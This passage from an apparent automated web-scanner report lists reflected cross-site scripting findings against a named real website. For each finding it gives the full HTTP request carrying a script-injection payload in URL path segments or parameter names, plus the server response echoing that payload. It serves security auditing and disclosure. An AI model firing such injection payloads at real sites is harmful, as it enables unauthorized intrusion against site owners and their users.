...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta179b85\"><script>alert(1)</script>c97a251316/js/jquery-easing-compatibility.1.2.pack.js" />
...[SNIP]...

2.128. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ae15"><script>alert(1)</script>d3cd4896678 was submitted in the REST URL parameter 4. This input was echoed as 4ae15\"><script>alert(1)</script>d3cd4896678 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js4ae15"><script>alert(1)</script>d3cd4896678/jquery-easing-compatibility.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:00 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js4ae15\"><script>alert(1)</script>d3cd4896678/jquery-easing-compatibility.1.2.pack.js" />
...[SNIP]...

2.129. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58012"><script>alert(1)</script>4eea692d76f was submitted in the REST URL parameter 5. This input was echoed as 58012\"><script>alert(1)</script>4eea692d76f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js58012"><script>alert(1)</script>4eea692d76f HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=28381e9a7681b17b32ddbb17f158a03e

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:17 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js58012\"><script>alert(1)</script>4eea692d76f" />
...[SNIP]...

2.130. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dd7c"><script>alert(1)</script>1979aa4efb4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2dd7c\"><script>alert(1)</script>1979aa4efb4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js?2dd7c"><script>alert(1)</script>1979aa4efb4=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=28381e9a7681b17b32ddbb17f158a03e

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:39 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:39 GMT
Content-Length: 24895
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js?2dd7c\"><script>alert(1)</script>1979aa4efb4=1" />
...[SNIP]...

2.131. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c9a4"><script>alert(1)</script>e7d0a6a8178 was submitted in the REST URL parameter 1. This input was echoed as 4c9a4\"><script>alert(1)</script>e7d0a6a8178 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content4c9a4"><script>alert(1)</script>e7d0a6a8178/themes/powermta1/js/jquery-easing.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:43 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content4c9a4\"><script>alert(1)</script>e7d0a6a8178/themes/powermta1/js/jquery-easing.1.2.pack.js" />
...[SNIP]...

2.132. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6b73"><script>alert(1)</script>63909903d9e was submitted in the REST URL parameter 2. This input was echoed as f6b73\"><script>alert(1)</script>63909903d9e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesf6b73"><script>alert(1)</script>63909903d9e/powermta1/js/jquery-easing.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:54 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesf6b73\"><script>alert(1)</script>63909903d9e/powermta1/js/jquery-easing.1.2.pack.js" />
...[SNIP]...

2.133. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7ac2"><script>alert(1)</script>ef59ef144f4 was submitted in the REST URL parameter 3. This input was echoed as b7ac2\"><script>alert(1)</script>ef59ef144f4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1b7ac2"><script>alert(1)</script>ef59ef144f4/js/jquery-easing.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:20 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1b7ac2\"><script>alert(1)</script>ef59ef144f4/js/jquery-easing.1.2.pack.js" />
...[SNIP]...

2.134. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5c56"><script>alert(1)</script>129f6c95e98 was submitted in the REST URL parameter 4. This input was echoed as b5c56\"><script>alert(1)</script>129f6c95e98 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/jsb5c56"><script>alert(1)</script>129f6c95e98/jquery-easing.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:33 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/jsb5c56\"><script>alert(1)</script>129f6c95e98/jquery-easing.1.2.pack.js" />
...[SNIP]...

2.135. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ef60"><script>alert(1)</script>9c0b586ee8d was submitted in the REST URL parameter 5. This input was echoed as 2ef60\"><script>alert(1)</script>9c0b586ee8d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js2ef60"><script>alert(1)</script>9c0b586ee8d HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:38 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:38 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js2ef60\"><script>alert(1)</script>9c0b586ee8d" />
...[SNIP]...

2.136. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab6ea"><script>alert(1)</script>6d1ad765b2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ab6ea\"><script>alert(1)</script>6d1ad765b2c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js?ab6ea"><script>alert(1)</script>6d1ad765b2c=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:21 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:21 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js?ab6ea\"><script>alert(1)</script>6d1ad765b2c=1" />
...[SNIP]...

2.137. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eb7d"><script>alert(1)</script>6dfb110f6b4 was submitted in the REST URL parameter 1. This input was echoed as 3eb7d\"><script>alert(1)</script>6dfb110f6b4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content3eb7d"><script>alert(1)</script>6dfb110f6b4/themes/powermta1/scripts/rsv.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:43 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content3eb7d\"><script>alert(1)</script>6dfb110f6b4/themes/powermta1/scripts/rsv.js" />
...[SNIP]...

2.138. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 726f6"><script>alert(1)</script>e05f163a878 was submitted in the REST URL parameter 2. This input was echoed as 726f6\"><script>alert(1)</script>e05f163a878 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes726f6"><script>alert(1)</script>e05f163a878/powermta1/scripts/rsv.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:53 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes726f6\"><script>alert(1)</script>e05f163a878/powermta1/scripts/rsv.js" />
...[SNIP]...

2.139. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fb50"><script>alert(1)</script>34a50ed9813 was submitted in the REST URL parameter 3. This input was echoed as 2fb50\"><script>alert(1)</script>34a50ed9813 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta12fb50"><script>alert(1)</script>34a50ed9813/scripts/rsv.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:04 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta12fb50\"><script>alert(1)</script>34a50ed9813/scripts/rsv.js" />
...[SNIP]...

2.140. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44427"><script>alert(1)</script>9b7ea4d2eeb was submitted in the REST URL parameter 4. This input was echoed as 44427\"><script>alert(1)</script>9b7ea4d2eeb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/scripts44427"><script>alert(1)</script>9b7ea4d2eeb/rsv.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:05 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:05 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/scripts44427\"><script>alert(1)</script>9b7ea4d2eeb/rsv.js" />
...[SNIP]...

2.141. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
